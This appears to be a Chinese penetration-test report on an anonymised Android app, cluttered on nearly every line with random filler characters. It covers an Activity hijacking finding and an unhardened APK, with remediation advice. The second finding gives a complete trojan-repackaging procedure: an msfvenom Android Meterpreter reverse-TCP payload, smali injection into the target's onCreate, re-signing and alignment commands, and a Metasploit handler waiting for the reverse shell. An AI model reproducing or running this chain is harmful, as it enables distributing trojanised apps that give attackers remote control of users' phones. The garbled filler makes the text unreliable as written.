: A$ H4 T6 ~! _$ `& {# p
1 L) m4 t) u2 \) |( l
7 e# M6 w. p9 X# T1 C! ^
8 H% c( l, x5 N) u! {7 ]& I$ Q, Y' H B7 G
- d: s$ _; Q- @. J! U7 k
# l! ` J4 E" A5 Y
, m+ l8 K, S3 p3 r7 J% S
9 q! J4 N8 c D
; Q, i7 }" w+ }+ [
5 P( Z& x" H6 @/ h; t, \) o9 s6 i 表1-2 测试结果
; x; a5 r% Q; T' S! J: A, t5 }
' S9 m. z8 v5 P( k& D. d7 L' [5 t) c7 _6 I
3 s2 p! g; S5 G$ \9 O5 v
' I; N4 r$ E9 V% e
2 N2 V2 P+ N# x! k' o2 w9 Z- b2 u8 K
8 X# J+ @: i3 t& M4 o) b/ \
* G% r# J& s" ~( m. M * U2 X* I4 }" m$ b0 X1 ?- t4 \0 Q
. _+ Q! S- ~- t1 b
2 检测结果 ! p% L7 W# r: o) |7 M4 W! K* M
; P% f$ ]5 ~& B; E
' G- G+ i& A0 b4 l; s5 X; N
) z. e9 g' h$ w8 E* R
: J7 Q: _" ]2 l. F% ]( i G# p9 C6 f6 i# i7 U" n# n
2.1 某某某 7 M" ]* W( q; a& n' }8 {# g
! D6 E2 s% M) t/ l2 A0 U
% H7 s, ?% T0 [+ E" Q' o0 m) h, b! W- [3 A( H/ h, r! w( R
8 @( D8 x# u- B! |7 \
) n9 T2 z5 }7 t& H 2.1.1检测目标
6 @# D3 k$ ?" O5 W6 Y& y/ [& d# F- C
9 X; Z! W2 k: f# E
$ M2 k! _7 D2 z, w+ i2 N% M4 J
# \4 }$ C- ^1 Z& n( H9 ]! a0 {
1 ^) v3 a% F x# _ O7 n 目标地址: 某某某某某某APP ! c& Q1 x6 k0 |, y# f
1 h/ W6 E$ w7 L: L- @
, g8 D6 ?. y7 V7 u+ S5 A' T
' F* ]. e2 Q: u& M8 B9 [ E $ j/ l, z/ K& J) X, W' s3 Y: a
1 m* e! J. W; g4 q1 L 2.1.2检测结果 0 U# S& Q7 M M" u
9 z7 j9 S# z+ K: M+ L% i [- X$ j# i
* r. s4 m( L! b& N5 X
9 ^" o3 @( z, I' U $ y4 r& \+ d3 u' {4 T9 }
' D. b! ~, M! D: p0 ^
2.1.2.1 7 W" O7 `; m0 V, L0 N0 F; X
' L0 O% T3 E: n: p4 N" t0 E
7 H, ^6 X: r8 Y3 w* s
" J1 r4 x7 E5 H8 }$ v
. I2 ?0 I$ C: S& k- A+ Q9 S& K+ a) e1 d& x5 X) p6 T( a
漏洞链接地址:某某某某某某APP
* y2 |; ]% {. K& A% O' ]
O4 R' t9 E0 N2 s* \
. O8 D/ Q9 ~# ]: w+ T- m) p7 F& o
1 u( L; v- O. ?3 `; Q
8 F& X6 a- v: {9 _% a5 ?8 t' \
! Y( @, ~! k: k0 s 4 N; x3 `; ~- T, H7 Q( {: |! ?6 x6 O
6 E1 P/ D8 g' x
% N* F# v4 z9 ~! }" @' Y7 k5 l9 T/ Y' z1 }' ~: B8 A
- x3 X8 B2 d; q7 f
# v/ }* h: |/ b! q1 K+ H& h9 I0 E( ?
漏洞分析及取证:
+ j0 [2 o' U: }. `% {, e) _% o1 k( q& q
* C! K1 G# Z# D' k6 k* k" s
) ?! T+ P; [$ {6 F# |, O
- t+ n6 _6 \' x. p8 C5 X/ r" a$ Q$ t8 G7 l% s
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: - b7 u) T" ?4 A" m% n5 g
# O; C- ]2 Z9 _ r9 \3 j& Z( S
! X; {% J3 E& U1 R) \' c- M" K$ v5 F3 L. Q- m
+ T" D8 b) X2 c" u+ u2 |1 p: p6 Y' P
& C3 C. X. r2 A$ t P+ ^/ a
6 K t. e7 \" d3 {
, N, \8 R& O" n( y$ r
9 G( D" K# n5 U5 t5 J) p! P% d" E; Z: a" \, N/ ?4 D
' ^7 K# ]" w; ?% u- e, H9 V3 M4 n% q& G0 D
+ @; M+ V* @; ^" M4 G/ d3 R
* S' J/ f6 g ^/ |0 ]9 e( [
8 R' K2 l: c3 d1 i2 r% u( Y
6 c8 U1 l- F t: g" C
! B* v6 e% N g 8 G$ ~& [8 Z9 v
" z8 [+ d- |5 D
$ u* o+ ?; ^4 `
* L; D; ^6 E0 k. X# `3 i
4 W* L( Y I j' e" Q( O' K4 E4 c3 V- A( _# \ |! C! m q8 F* O
+ a% ^5 I0 K* n& o# b, v4 q8 W
+ n( H' ~$ p: w/ X( A4 f
. U1 q# f3 ~- K3 Z9 O* O
- n2 x% z' `9 \; F! r( [0 g
; @$ d. U5 K" {' ?) i( [7 ~0 T: L- e3 c
& D) E; ^6 p+ W) l) C4 E1 K
' v! ^0 I7 b' W W( v
, }& Z8 I C4 S* X/ @8 p" S( w% y" ^
0 s: d" \! x1 s" L |' s
6 X3 q' |% @8 X
: P& }* E _) b! S5 ?: B , B7 O5 X2 U' O. b# }' d% g: G
9 H% H& j# M) { X* ]2 V
漏洞危害:高
, A V! q* }1 `/ `3 K7 ]
3 U, f) W! F7 o1 s5 M3 m( Q ^$ d
# [- {2 L7 ~- L7 {& u( m# U
& N+ |6 {" Z" C$ H: L
. Q9 Y! Q0 G" A% w4 [2 ~4 `3 S. x* d0 j6 v8 {3 y5 [. g! o6 }
5 g9 r. x* R* V Z i
/ U8 l# }) n! M/ L6 b$ [9 H/ ~
3 |8 W0 t& P; ]3 C
$ P) y. L3 ~, V1 [- H, ^- J2 d " @5 ~' Z4 ]0 a' ^' ~
1 z. B- r. s* L$ E: d |
6 t- Q& Q$ Q5 x! Y' x2 u; V5 M! A7 N
2 _& m0 y5 Q7 [( c! b * I7 K {+ S4 `0 M7 l
* p D; I9 s# x* y* Q
严重程度 & C( ?8 F Y R
J0 r+ D" E" W1 d
- U4 |3 Z' V6 t. \
9 U- x8 u) ] T |
( S: M V+ ? _
$ |0 N" {5 t6 j1 `
* T8 l4 K+ ^; Y; k: T8 O- q2 M# I- m5 l2 G( H
5 r. R- d/ Z7 R3 C
7 B3 X/ R5 \* G. t0 Y0 {- c$ W 高 ' u* E; Q8 @' t% g
$ a1 ^7 Y1 W D% b* q
- \ d6 s0 i& k" l9 @" U
8 x% Y. M: ?/ V0 p# W |
# q& F3 r; C6 M2 {- ~, i7 t5 Z% W/ G5 p: e0 u
) {/ ~) T5 g1 g7 {: b
! r6 o* K" y& z) T0 N
2 {; s! M( L. g6 w* h" ?/ k
* N1 e3 m' S8 Q* J z! a( N' o* h ■ 3 I0 N+ o) d! \7 R' `
4 M# |# T+ i6 l! u. ?4 T 4 u& }! K: c) B, s* ^& B& g3 m
$ B1 Z; _6 s% }) N/ i1 C, b6 B
| , D8 U$ I9 D3 L! w$ f- Y# G5 p, [
) ^% u1 C2 E. L3 _& n5 d0 P8 H
& `% j7 O/ O9 k; m( f* t; ?' f+ @+ |& X% c; w, P
: ~# H4 ^4 a V/ o, K
' u! H: O: `- c' Z# | 中
% v9 _! J# p5 h- d. z' ?7 j# F# N+ `
1 c! D' \/ p5 d
% N8 ~3 w2 u8 k | * ~+ X8 R0 ]. N% R5 D: W7 K* u& e: B
" D( H/ e3 ]; B0 Q% Y5 O
0 z! }+ C: d1 j+ k, c' P2 Z r" h9 B: L: D! f f n- ]9 j9 y3 W
X: C8 s3 v0 p7 r, N/ |1 g; h% S, Q8 [7 M. a
, u7 x0 z5 G5 T2 E
m1 A2 C4 u5 G9 w3 s4 l
# S% y7 _; Q& r2 f1 r; a/ ]7 k% j/ u, ~+ Z6 L5 ^5 a
| ) L0 N" F8 v! N, o6 Q
' A4 t' P2 g* U. F2 w! y4 N 7 ]0 V+ \; H# i, y8 d: S" N
$ E! H6 x( x$ D
5 A6 {- b! m) r% {, p1 u6 Y1 u6 E* [" ~$ w
低
! X: i6 v R+ f6 c4 ]
1 T" J: m) H9 x. N* [
% V Y: H9 b$ f" K9 q# N6 x, s0 p) K
|
3 }' m" F6 V* @, o# p
+ j* g. }9 F9 A! k1 g $ i9 d" d* R; s, D( }2 @! {
* @4 v# Y* o$ ~* T
D$ |! b+ f- P
% H0 Z: }- q5 E( d) U( |, I( H . ^/ Z6 j+ \0 m; i
* l- D# v$ _' t8 s6 ~4 H
# _+ a" D! r( d" ]' J0 O
( u; K) v8 s! x5 O6 C |
- S- `$ [, P6 X) I4 e" b* s* i7 r- O2 `- l5 l. S1 ]+ L3 K% ?* R! Q% r
* s& a& A3 E6 l
# b! \: ]& M8 y. @* u
, S9 K0 u7 m6 i$ g
! R% ?% I3 S4 D% Y7 g, J. r2 i
7 a, C0 p; Z! V7 Z" G _9 F: ], ?+ Z
# U7 n; \3 y' F" o# X3 {& G5 | - L& A# M$ Q* P0 X, j1 |2 E
1 Y; @( h* ^. v& g+ k" t
' h" O) Y p0 Z6 {9 f# a
4 ?+ R1 k! E+ j J' Q U8 ` # G |5 X* F( z8 y; R) j$ h0 `! D
' S8 j( i n2 T& ~5 q9 ?
' b/ w n) ?7 \( ~8 }$ H% f
9 p/ l+ C! T0 S% c4 S
5 D" S4 |- x' N- x- p" ^' z, F! z6 t- m, D
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
. J# T( m4 T1 B- Q2 G$ n! |0 q7 m1 Y
) w* z, `: X1 @; M8 _
, ]- E8 o7 W& B# L$ s! M
# C/ q. `) I+ [
* [! `1 {( [$ `) _- I 3 K6 o* O: G% e; g+ i' ?9 b
K# p+ t+ h! C+ @$ y2 @$ Y D( g/ {/ b1 u3 G
" \! ^$ V' o, }
: E `* M+ a- x) |( b3 c+ o * {& @; S2 ^% X2 p# v
. \9 y1 K, E0 o" j: h, W0 V
% `0 {3 ^( O% z# t, f, _7 Z' q$ F; x/ u" S( @
. E4 f0 W; B: X6 Q
( _' {. w, X# G% l! y. E; L# K* O6 A 3 S1 L; I5 D; ?4 ^" r8 p
: ^, L1 \, I+ U9 t8 V3 Q
2.1.2.2 0 T) @5 g% F7 D
: p1 _# f% u7 ~& _9 F
! P4 S7 L2 k4 b Y& Z) {# P
7 Y/ d( g8 L4 v( `7 C
# O- d$ a, h! m% d& F [ ]6 | K- A
漏洞链接地址:某某某某某某APP
7 O* H; p7 y% g! S0 Z) y# }" M9 }" Y0 T2 C2 X6 q- ~
' q* [6 h- i) m$ b1 i* ?6 I& T
4 ~* ]) f- P7 x* J" a
+ G) g- {0 H4 _, T) f! \5 w# P8 a% i& s/ D* c
漏洞分析及取证: ! p3 Z5 f9 c3 q6 K) j
& V* s% ]6 A; v9 k4 A9 Q& v" K
( u' y7 d) f/ f. Q3 i6 M7 e: k
P3 `8 v) a I
# z+ Q% c' ?9 P; Q+ W$ Q
9 V3 r/ U0 R+ L: w2 P/ P4 Q 通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: 2 Q- S; b3 S) F3 [" k4 S5 N
) @/ a4 Z# p0 u% h9 s
6 G1 u. T' y# K% V0 U D+ h: T! t& S! _
2 Z/ |- t5 m3 Q% N/ T" W" C( f9 d1 J- E. q% {
用Metasploit 生成木马 apk
& a# a+ k( E/ w5 c' [$ ^# n
) t1 `3 D7 {8 T% _. C: I
8 K" d7 I& a1 C3 o+ s* u% c5 n
; ?/ H1 {! y+ a6 \1 {, X# E 8 J& `& O6 C& q' w+ J9 `* c7 k" K
4 k& C% E& k+ x* L" |
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk
, L7 p" P7 G" G3 z
" ]% P# L6 g% _. c$ h( `
" F; d9 I1 R, r) [- l# Y
3 J. I& f/ w6 N N0 p9 m
. y9 H& W/ e$ [' I7 L! A* v# t8 ]3 w
反编译目标apk和木马apk
4 g6 Y; h) M4 U. T; n; g- V+ Q9 x, p% f
; H* }9 Z1 f$ k8 \
* v! f9 C) q( A0 j4 P
6 l! r0 n. | [& x6 _% K% L2 i+ [6 x& L
apktool d target.apk
, K" K+ U( v! ^$ U0 F9 B; d* @6 x0 N- \0 _4 d- r: j' d3 m
apktool d cockhorse.apk
1 k1 J: h- b: W
2 M6 ~; x6 z" U, k1 B( V
* `2 _! t; n' \7 S' `5 x% E/ A( V+ R, ~. h
4 X! o6 n4 Z7 ~. j, e0 S
6 W' _* r& k+ f2 U$ L5 ]
木马 apk 注入目标 apk
0 J; G6 g3 G/ M |$ r
{3 A' g" g; i, _- D' i
8 w! B: k6 V, z2 k% A5 D. X
" H$ a7 i" k- X* j
, O! g; M) B$ }- m) F8 ?. t
2 U' Q$ ?: l" ~" t 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
* q) k$ O) y4 j9 O# L3 ]" l
; Z4 x0 j- W4 T& m5 l9 h invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
/ f! l: j4 b2 r+ A5 l1 v7 l* U& R/ A4 |# Y
6 E3 I& Z2 D, O: I% O$ F3 n6 K
/ Y h+ P9 s6 _( b5 d# v
: c( n7 l2 m' z/ J4 B6 H- c* ?" u6 O" k. Y
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 / {# g( l, S' {! j/ H
: C( c) S9 x2 T: u3 w' z5 K c( Y# @
2 e. }3 e: t! t& j' e& t, ]
; T' r9 C8 H% X5 H
* O; ?" B( }/ M X; ?) c* V& f$ K& N: u7 q3 d3 q* H4 x
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 h; F; K# q9 n
4 g- p* k; e: J( o, b" v# V
1 B v3 g B% n/ p3 v
+ Q& s0 x x2 l * ^: i5 S. M7 B% C
' ` v. k+ R/ }0 C/ U 回编译生成最终 apk
: q4 V+ Y% Y0 f, V8 c9 y+ j$ `$ ^6 L5 H
{, a; B& R0 c- G. J7 z
0 r" `. @5 s+ \5 g 3 i4 }7 w& D$ S3 f
3 h# `. }9 p6 M/ f$ |/ S 重新打包
- N4 B* F- B b( M( ?, l6 S" O- e; b5 ~" _3 q) Z/ @% v$ C
+ b j6 U6 N% c& I% X- e
m9 Z+ X6 B) B% L# U& }9 J : E: t& z7 o- j5 E
0 T" B. I E2 B* Q9 w apktool b -o repackage.apk target_app_floder
( R+ j" A/ T' ~4 x- s" d! J" D: D- j4 `1 W9 r
# H( ^/ q/ a* r4 F1 c; T6 |8 ?0 U
% q$ t; D& v0 }2 A4 e* v
1 I `( s$ H' |( y
) V& r' D0 G9 |0 `# Y' f r 创建签名文件,有的话可忽略此步骤 2 h" S4 G3 e$ B+ O- @( J: Z* a3 S
4 M1 w( v5 @: `: S
; z3 ~& \8 h- F; ` w0 ~4 x. P! Y
8 c; E1 _! |3 q. M; ?' C" l * G; r# X. ^ S, S( C, T2 |1 U. R
# n! {- [' _9 ~1 z( y% S keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 & }. k) m; e5 c
& C4 T% F6 l$ V# Z4 i5 x( c% X
7 f: _; ^, `$ N9 S9 U. q
7 L- ~8 n1 q2 I; k) @ " G5 ~6 j* |& j$ [( ^4 j8 ]6 ]
# {, ?5 a) z6 j# b
签名,以下任选其一
! f. G' _2 A' E
4 u( D! {/ t9 C- e8 `" G
% d+ W, ~- k% a/ u( I2 U
9 G, ?! T+ S8 X6 c: B4 O / N/ W. D8 L+ c; M1 T @
. U) D8 D0 V6 n _$ p jarsigner 方式 " S% ^* W- g1 u
) R5 D" k) F6 R" v0 w
& l. a- T9 I2 k
# w3 b. E* D+ ^! D/ ^1 u " W/ Z# |1 J0 `2 m _
# j" m# Z$ b8 ^# [: o C: q. z: q
jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 4 T5 r4 v! S& W
9 \5 ?+ Q% u: ? V
2 ~& {% T' `& e3 g- k
: y) x" P6 _+ m+ j* L6 E3 n4 ^ 5 y) b. g+ P& ]1 H3 \9 A6 [. h
A' V$ t+ H0 s6 C& Z3 V apksigner 方式
9 N# d- i% x5 }( E, h S& X7 t5 a5 M
' l9 `4 f" G; w9 r) i4 `- Y7 b6 B* y* j2 _# v
8 c7 E4 ]* @4 ~
( R1 [% \1 S. u apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
- H0 }) g; @: g1 a! o
: e0 Q7 o6 T- t& U
( S6 @7 O& n0 \/ w: { p0 Q
6 H$ |8 v' w `
! ^; h9 ^# }! c. x
8 c# ]. _/ M' D% y8 U g
如需要禁用 v2签名 添加选项--v2-signing-enabled false / }6 v @" s7 Q
% s5 H; k# _& C$ V* W+ w/ ~8 R
5 w5 |1 Y- i" R& m
, K/ G4 _! F7 z# \' C/ X6 ~" a
, G3 f8 ]3 g8 F u; B
: g1 M3 |" F! Q: I' {* u# ?- L( N 验证,以下任选其一 8 ~' |, N4 L% x
% H8 a; o# o) B. e3 w# ^& t
( W9 L: W/ Q! W1 l7 h
1 X% G6 ]9 q0 S" h: J) w; s& l / ], g. `( j; a
8 v- B( R! F! z jarsigner方式 Q# W6 f; [1 K& n& m6 Y
- v6 i% u6 I6 W/ E$ a
0 L3 P' s& `5 h& T" U& m7 a
. X0 d+ ?- L, A
8 G; K9 L# P! I6 v/ V+ L/ Y* |
8 X6 }' h/ v% _4 m" ]6 C jarsigner -verify repackaged.apk , E. v0 q! Y0 p' l+ ]& \
7 w- [6 I' I$ s- \" q7 s
$ P! }: z0 Z( A: s' l. V! H% I+ n& `4 l( }% P+ ~
! ^5 M1 _' T% U* X5 d9 q: N
! m: e$ o) P8 R" e
apksigner 方式
( }( \/ K! I5 T& f& l+ J2 R' ]: T, p+ W& G
- q8 N/ E" d. l9 H+ o" m
6 L x; j* @( B! Q0 v2 @" }# R
# A( q; n2 }! z# k2 l
/ ~3 W4 d! b1 L [' t) ^; B apksigner verify -v --print-certs repackaged.apk
: P C: z, L) c' f& s7 B: R6 e _, b5 _
/ N3 ?9 A2 w8 d+ \, D; F
& {0 ^, x3 Z' Z5 a* g / y: z- c# z5 D3 a
$ w/ W7 a" [- j: u! q) k1 R5 h2 a keytool方式 ) V: ~2 {: a" w% F+ `, Z
7 s6 ~4 s& @7 \+ o5 F5 Z( {
4 G3 [; J; f2 Y+ P) {5 b( M
) S6 v/ I n9 s- q * k: N2 C; A- ]$ ~; ? k
% t2 n! e) D3 u
keytool -printcert -jarfile repackaged.apk
5 C. m0 w; Z! P( U4 G5 f$ ^' a" `% R2 V; D1 ]
4 @% G' x/ \' h& Y
4 v8 K) E$ \* v6 q! J+ }' a
X+ N& L) f! n8 S+ ^5 q$ m4 a- P
- u# J! B6 z# i 对齐
* m8 z- t, F x, [9 ]5 o- Z
. t' |2 S: C& m/ Q$ X6 q
) @* m$ B" L" _0 w9 B2 Q* I- S7 x( T% `3 v- X& ?" W7 @
7 \! R$ `! ^4 K' R8 ?+ x7 E b" p' G/ Z7 z! P5 {2 \& k/ q7 s
字节对齐优化 2 X/ t3 ^3 Q. W$ Y, Q4 v
5 y: b. l( B5 r7 V- d; d
8 Y: U" N' t) W2 b7 v5 z; H
7 ?, _# q4 x" ]. u6 j
( `0 O, t9 O$ n
( m) t! {& Q; _" _/ ] u zipalign -v 4 repackaged.apk final.apk & K3 ^# K3 D" r. a6 k. x$ {5 C
8 T, `2 S$ _: N( {8 k0 d/ G4 L6 q
. B; c. B* _8 A' ] q' d
# u7 I) t p" ` 8 _. X% Q& v: ^/ E( w
/ U+ b+ Q6 G- i1 z
检查是否对齐
9 O" v& ^( f: E2 o5 f- G1 x- [; M1 C* R8 J! Y7 O/ m7 t
3 R# C* o7 _: z8 [" |
" F! g0 T3 R7 l% v; `& [
I6 v7 L4 d9 |" T$ u9 q/ K
D$ s+ X- J& A5 O1 P zipalign -c -v 4 final.apk % f, m# }! h: X1 A8 r8 \6 x
! ~$ r$ }- u2 w5 I4 R
& o- p! V/ F n" d
% g+ i' R/ P" J& B
' ~, l) H+ v6 N8 F, L7 q7 F1 x( O5 L! c' e0 l$ C/ O
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
' v, u' R- O# k* t& U1 _! C! f& X6 k% [
" i: l4 H* \, v3 X5 J
+ `: q8 ?/ j7 o+ }7 d* X6 w9 J2 E/ M( N8 \; K) n! x
' g& j3 _0 S, ^, ^( }# |
# ^5 S6 V: J F6 v0 I4 v7 Z" @; o
启动Metasploit控制台,配置参数等待上线 ; y* [* O0 V& t* U" R# s
* K9 [3 W( {5 d0 W
4 s; F2 j0 [ l1 b# E
5 X0 W7 w! L/ }# e
6 b; y! r7 O" m2 e, }0 v0 t4 V
) W4 m/ a: s8 R! g6 _0 r: H# B 在终端依次输入如下命令
2 R- k# P p: K/ D O5 _ v
$ b$ I+ q) I. p# Q0 s. {, n
" @ v$ N* H( L8 \: k
$ M9 z' W% C' r' C- u) v + j% T- }/ a* m4 @+ B, [
" s. b8 A3 b8 t: ^3 a3 v
msfconsole
( M/ o* C3 s ~* p+ g! {$ ` J- e5 l: Y. Y
! R8 e( g% W; |; @4 Y; y0 d" `3 W8 I, J
2 }: Z/ C) c$ ^* o6 d/ F, M% z: x. D4 p
use exploit/multi/handler
* C, A% z, L& R# f+ u2 r& ]$ A1 L: }" x0 r" S1 Z8 j& @, e
) B+ X! r* C: Z9 D6 s% I( O3 c+ f9 A& S- C+ N6 W9 K
" J$ z- [4 J( g$ j9 S) k: |7 l0 x1 ^& X6 ]- \4 K( C+ }
set PAYLOAD android/meterpreter/reverse_tcp 2 z/ _1 X9 I) C8 B; m3 I4 F1 B
4 J, m$ \" }9 C8 A- ]7 i( f1 F
0 d8 c# [/ `: F$ Q4 u
3 ~4 }+ k7 O. h* p8 c % q2 V3 O. @4 k2 m+ f8 p
2 W6 k) T8 s; k8 ]" q! {2 H5 u
set LHOST 192.xxx.xx.xx
- X$ ^3 \( ?6 S7 Q/ W3 A: c6 p9 i: \: M6 i; o3 a
) G; g' [& f+ k( y0 B: m* P1 l/ B- Z" D
" [+ A( _7 I5 P) Y' L
/ Z/ Y# t) K, M; J8 z
set LPORT 4444
9 Q6 p: C% Y% S( z. E# ]4 O9 x0 F; `9 L. ^2 Q. n
# q; p2 e/ W( t. R8 Y, o$ ^/ i8 X1 K
7 B" l, Z7 P( A* X% D( R( T" }5 q) c
$ d- R3 T( y: {0 K( v6 p. h# T2 N+ E) G' ]/ N# O0 v$ q
exploit
+ b( \ S5 t1 o7 ~$ H7 U- W
K2 O2 ~; {$ c+ p; |# \) Y, G
: E1 _( R2 ~. N6 e9 k' [8 \
" ^* q' t+ y; |6 N
6 e o) R& _0 t8 C+ t( R6 V+ j! ~; ]! @
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
) N7 d! j8 p+ M0 P, [7 \! G
8 ], p9 r2 ]9 }$ ?7 Q* z& E
, z# U! X5 Y% f# o
2 {2 D0 [$ V* R0 R+ S1 o
' h3 t8 v. e. G7 J1 l
" M6 ^! z/ H, ^4 V6 S# u! l& j9 P3 Y7 f 漏洞危害:中
6 O! c2 A- c: z; j9 ]0 D6 @6 [" C3 o+ T
+ M' J2 Z2 ~5 X
+ w2 V8 ~0 x9 E" Y/ q
( L" b' |! o$ w2 s/ x
! ~! [6 Q {$ _. y: b 4 A# ]% z4 k& j
. O6 b3 S7 L- X7 a5 r
" X1 D$ r4 C5 ^4 B7 N
, H7 ?" G& C) V6 ^/ T" v0 j 0 s1 ~+ p9 l! y b+ ^5 G
$ G+ @- ~" [8 b- |3 y7 e
) N! T9 j, w% Y* J/ {, J" I
1 ^- `3 q: }6 ^! G; s; N | 4 H/ N: k4 |$ ^8 g- J6 ^
/ \0 o5 b$ G8 M
3 Y% m9 Z }; V1 p- {+ ` L8 [
/ B9 }% l. I2 F/ O+ E! t 严重程度 $ o( [9 p+ I5 n9 O0 _% }! }/ f- S
- T7 m" L9 b, n
% z. K, D' C Z
) r; W& W( X+ G7 V$ w | ; I' ], s, v5 V2 M/ ]. A3 Y" ~
' P, o. o! e' @4 H1 u0 @0 d7 a5 _
9 X" M- ^: }) T- x% I1 N: N/ B( k) a9 Y, b& O8 @
8 W( ^. }* d* ~- B
, D, a( W2 Z9 I, e" p& A- Z. I
高
0 x2 Z* I! k+ F5 H$ x- I0 Z5 g
- v/ ] ]/ E6 A8 z( w0 ?; l9 @- ~# M , @4 o$ G8 K. y) N
6 g! o' {7 T3 l) y | - a0 e% O1 e( ?$ k1 t
9 W# {* i# k* Y7 ?
/ N5 y+ K0 X. m' P' V
( b0 u' P" ?' g( R
& e5 f6 h1 x+ v3 J; w- k6 [' W' j2 Q, Y
■
$ B/ b( \& a6 a; e, i6 L
1 S# W- W, ~4 i, s# n - P' r5 ^3 T2 ?5 u
% _2 c' `5 b; V: w
| ) H& Y, S) {) u j" {3 _3 `4 N8 A2 c% E
]& t9 j {5 V, N* T. G. I
0 l1 L7 S- E) F: {6 U% o1 Q: n/ V
+ a/ r. I; v% N$ v# r, r
0 C* Y3 ]5 U# ~7 f* o- ~) F7 i* |" b6 O
中 * [2 g4 e; a/ ^
& P A( q) N/ [$ ?3 W
6 g1 P9 A' w8 ? n0 i5 J! G
" F1 ?- }; q0 V3 x$ p | 1 u8 }9 n; y* ?0 t2 y/ m6 d* F: G
[& o: F. b) @( K
! X+ q/ G1 l: A2 i" |' N6 ]1 A2 L4 i
* j6 h* Q6 j/ k# u3 l , w4 c8 A1 r# g( s# K1 r/ C* C( G
& ? y1 D1 o5 {+ F8 t
$ f% V- R7 m! {4 P8 b! q2 {6 c! m1 u1 [$ c. {
. A1 r; _' B! z7 j5 m1 k; T& i& W
, C. H2 d# e8 r( Y5 Z' y
7 i. [. V' j* f) ^2 |( m l# L
! v' k/ T* ~% @! P, o/ J
| 3 Y3 G2 n- h7 Q* `% F* j% z8 O
- s& i) y6 ~1 `, k- B7 V0 {7 p $ O X! g9 z2 N* a' f) W
8 n/ y2 n" b6 M- L [
6 s5 }9 o+ w8 ]/ h& ~7 }; {! `* y) G! @4 e, s, ?
低
* I0 I6 ?! A: r7 l' g; K! A$ m- U$ m- z5 L
* f& Y9 C; W _- w1 V( W: N
* H! ]/ M+ M' X% S4 P
| # ^ S8 {4 z' M, D2 Q% ?
/ r8 D& \8 _8 Q: C; m+ c" ~
) `9 n* t) i: {, z E
2 U! M" F) G Q* a# q 8 j- m2 Z2 p0 v1 ~
, e, X4 _3 Y2 R' H# M; [9 N$ \( O
: l: T* ]4 y" M" g( Z2 I/ V
. ?: v! a% C* S" E; N5 e
5 V! X2 T) C" i2 N( K; P% d
6 O g7 q9 F5 K1 ^6 Q3 o 2 a+ M( o0 d8 k* v! t% h. d! o
7 d# A' P- e6 X: N | 2 G) {' v( G8 ~2 a# [
) q1 }8 J6 F9 Y; J& ^- K
1 ~9 S) W! F: A" ?) H+ K% r9 u
% I V; i4 R" m& ^" k
g4 ^( c2 |+ A* c- D& m7 O
7 N* S1 d/ g7 L: I7 p. ~
% ^& I6 @/ B- |1 U* N
7 X, V* Q3 s6 K4 ~& k/ ]
* x9 Z6 ^7 ]4 Q1 \9 _. d {; v
# u$ o; Z% k6 i2 ?& N
- E( Z5 w. `8 I' e
6 _# F+ g& c* L% ` 4 h! O& E7 Q9 k6 U+ b+ L
* {- D& _( h f' z/ ~- I
. _( u2 u& c8 l% O+ c8 ^
, M' p- W+ F7 z( p& [
- s" W$ j+ b/ d( \8 d. J1 S
3 \* `! c& o% P( ~$ s( L4 k 修复方法: 8 ]8 }$ O- ^* C; {% M# i* n
5 ^3 G% O" j$ h, x
% L& g5 |5 n1 H! U5 F( ^% P. V N5 u; }' v7 u4 S" X7 s! G6 A
4 S; d% k6 C& s9 n9 c# ]
5 `, N: Q) S T1 a 1.在 APP 启动时应做签名校验防止二次打包。
9 V. A8 u6 c u O1 U$ d" r" b; t
' O u9 ^. ~# [, [4 O
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。
5 x" K2 s9 D' z8 C
3 J" q. y8 B, Z5 Q
7 u3 Z+ } S5 o ?7 d& z' r, ]
# u0 X, `0 Z5 b( x 1 T0 b: V, q" I% i
0 _) m: L4 t) G, y) J! v
2 v2 v$ \/ k$ l. v( `' s
+ w$ s6 W% y2 Y, k2 i7 F) Y; W4 C : X2 ^* a* a/ n( H
M }. m* P, u1 r: L
4 c+ x. ?; f4 u! A. `
$ \/ }7 ~" T: d+ j
- K. T9 X: p0 n" N% Z4 E
9 \8 N4 S& V1 S
. J4 N6 E4 N8 ?& S0 q: n
$ `, V; g. I, A
5 C. U+ O s. j3 i; b& W% X. \0 Q
7 q# _2 j& U8 O, E! Z4 _
! `. C E. d+ B4 x7 ~
g2 _3 ?; `; D2 ]+ k